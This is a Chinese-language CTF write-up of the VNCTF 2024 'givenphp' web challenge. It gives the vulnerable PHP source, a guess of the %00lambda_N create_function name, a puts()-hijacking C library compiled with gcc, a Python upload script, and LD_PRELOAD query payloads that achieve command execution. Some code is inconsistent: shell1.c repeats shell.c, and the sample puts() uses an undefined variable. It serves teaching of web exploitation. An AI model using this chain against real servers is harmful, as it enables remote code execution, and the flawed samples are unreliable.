VNCTF 2024 givenphp 复现 参考: VNCTF2024-writeup (qq.com)
WP参考: VNCTF2024 Writeup | TEL (l1nyz-tel.cc)
VNCTF官方WP
场景:
index.php: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php highlight_file (__FILE__ );if (isset ($_POST ['upload' ])){ handleFileUpload ($_FILES ['file' ]); }if (isset ($_GET ['challenge' ])){ waf (); $value =$_GET ['value' ]; $key =$_GET ['key' ]; $func =create_function ("" ,"putenv('$key =$value ');" ); if ($func ==$_GET ['guess' ]){ $func (); system ("whoami" ); } }function waf ( ) { if (preg_match ('/\'|"|%|\(|\)|;|bash/i' ,$_GET ['key' ])||preg_match ('/\'|"|%|\(|\)|;|bash/i' ,$_GET ['value' ])){ die ("evil input!!!" ); } }function handleFileUpload ($file ) { $uploadDirectory = '/tmp/' ; if ($file ['error' ] !== UPLOAD_ERR_OK) { echo '文件上传失败。' ; return ; } $fileExtension = pathinfo ($file ['name' ], PATHINFO_EXTENSION); $newFileName = uniqid ('uploaded_file_' , true ) . '.' . $fileExtension ; $destination = $uploadDirectory . $newFileName ; if (move_uploaded_file ($file ['tmp_name' ], $destination )) { echo $destination ; } else { echo '文件移动失败。' ; } }
代码审计: 第一部分,文件上传: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 if (isset ($_POST ['upload' ])){ handleFileUpload ($_FILES ['file' ]); } function handleFileUpload ($file ) { $uploadDirectory = '/tmp/' ; if ($file ['error' ] !== UPLOAD_ERR_OK) { echo '文件上传失败。' ; return ; } $fileExtension = pathinfo ($file ['name' ], PATHINFO_EXTENSION); $newFileName = uniqid ('uploaded_file_' , true ) . '.' . $fileExtension ; $destination = $uploadDirectory . $newFileName ; if (move_uploaded_file ($file ['tmp_name' ], $destination )) { echo $destination ; } else { echo '文件移动失败。' ; } }
文件上传脚本: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!DOCTYPE html > <html > <head > <title > 文件上传</title > </head > <body > <h1 > 文件上传</h1 > <form action ="http://19c90892-eadf-418f-b690-60b43e4945e6.vnctf2024.manqiu.top/" method ="post" enctype ="multipart/form-data" > <input type ="file" name ="file" required > <br > <br > <input type ="submit" name ="upload" value ="上传" > </form > </body > </html >
直接上传我们的木马文件:
上传文件响应结果:
由于这个tmp文件夹存在于网站的根目录中,所以我们直接使用网站是没有权限访问到根目录中的
第二部分: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 if (isset ($_GET ['challenge' ])){ waf (); $value =$_GET ['value' ]; $key =$_GET ['key' ]; $func =create_function ("" ,"putenv('$key =$value ');" ); if ($func ==$_GET ['guess' ]){ $func (); system ("whoami" ); } }function waf ( ) { if (preg_match ('/\'|"|%|\(|\)|;|bash/i' ,$_GET ['key' ])||preg_match ('/\'|"|%|\(|\)|;|bash/i' ,$_GET ['value' ])){ die ("evil input!!!" ); } }
create_function()匿名函数名绕过: 参考: SUCTF 2018——Anonymous(php匿名函数 \x00lambda_) - 淚笑 - 博客园 (cnblogs.com)
分析: 1 %00lambda_{x},每次触发一次create_function,x就+1,所以可以用Python脚本或BP爆破函数名,但是还有一种方式是,每次重新启动环境就可以刷新脚本,所以再次调用该函数又是从%00lambda_1开始。
搭建测试环境(php版本为5.4): 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file (__FILE__ );if (isset ($_GET ['challenge' ])){ $func =create_function ("" ,"echo 'guess is right!!!';" ); echo $_GET ['guess' ]; var_dump ($func ); echo ($func ==$_GET ['guess' ]); if ($func ==$_GET ['guess' ]){ $func (); echo "win!!!" ; }else { echo "no!!!" ; } }
使用BP爆破测试绕过:
payload测试: 1 ?challenge=1&guess=%00lambda_3
重新开启题目环境进行测试: payload: 1 ?guess=%00lambda_1&challenge=1
成功回显当前用户信息:www-data
环境变量注入_LD_PRELOAD RCE: 参考: LD_PRELOAD劫持、ngixn临时文件、无需临时文件rce、php filter chain构造_php ld_preload-CSDN博客
关于环境变量LD_PRELOAD的利用 | ZIKH26’s Blog
我是如何利用环境变量注入执行任意命令 - 跳跳糖 (tttang.com)
原理: 1 LD_PRELOAD是用于动态链接库的加载,在动态链接库的过程中他的优先级是最高的,所以我们可以重写一些进程会调用的内部函数,然后用它链接我们的.so文件,这样进程在调用函数的时候,就会优先调用我们重写的函数(该链接会在进程结束时一起结束),如果我们重写的函数为恶意的函数,那么就可以进行rce。
由于$func();这句代码被执行了,才能成功链接我们的文件,所以这串代码中我们只能选择跟进system(“whoami”);会调用的默认的内部函数,找出这些内部函数然后重写它们。
查看一下whoami调用了哪些静态链接库:
我们可以知道strrchr(),geteuid(),puts()等函数
这里我们选择重写puts()函数: puts函数: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdio.h> #include <stdlib.h> int puts (const char *message) { int i = 0 ; while (string [i]) { if ( putchar (string [i]) == EOF) { return EOF; } i++; } if (putchar ('\n' ) == EOF) { return EOF; } return 1 ; }
重写puts()函数: 重写模板:定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等
1 2 3 4 5 6 7 #include <stdio.h> #include <stdlib.h> int puts (const char *message) { (xxxx源码内容) return 0 ; }
shell.c: 1 2 3 4 5 6 7 #include <stdio.h> #include <stdlib.h> int puts (const char *message) { system("ls /" ); return 0 ; }
创建一个shell.c文件: 本地的ip地址: shell.c: 1 2 3 4 5 #include <stdio.h> #include <stdlib.h> int puts (const char *message) { system("ls /" );return 0 ; }
将shell.c文件编译为shell.so文件: 1 2 3 gcc -shared -fPIC shell.c -o shell.so 或 gcc shell.c -o shell.so -shared -fPIC -w
上传我们的shell.so文件到目标网站: 文件上传.py: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsdef upload_file (url, file_path ): data = { "upload" : 1 } files = {'file' : open (file_path, 'rb' )} response = requests.post(url, data=data, files=files) return response url = "http://cf52f4a8-1de5-4eb4-b95f-ca195ac0ef58.vnctf2024.manqiu.top/" file_path = "C:/Users/DELL/Desktop/webshell/shell.so" response = upload_file(url, file_path)if response.status_code == 200 : print ("文件上传成功!" ) print (response.text)else : print ("文件上传失败。" )
输出:
文件路径: 1 /tmp/uploaded_file_65d61dfd83b1f7.07552476.so
LD_PRELOAD劫持puts函数实现RCE: payload: 1 ?challenge=1&key=LD_PRELOAD&value=/tmp/uploaded_file_65d61dfd83b1f7.07552476.so&guess=%00lambda_1
响应结果:
发现flag相关文件:flag_is_h3eeere
再写一个shell1.c用于打开文件: shell1.c: 1 2 3 4 5 #include <stdio.h> #include <stdlib.h> int puts (const char *message) { system("ls /" );return 0 ; }
将shell1.c文件编译为shell1.so文件:
上传我们的shell1.so文件到目标网站:
文件保存路径: 1 /tmp/uploaded_file_65d623583d3fc2.25975507.so
再次使用LD_PRELOAD劫持puts函数实现RCE: payload: 1 ?challenge=1&key=LD_PRELOAD&value=/tmp/uploaded_file_65d623583d3fc2.25975507.so&guess=%00lambda_1
flag=vnctf{aa184b19-bcae-4dc4-bd48-0b4de3efb8af}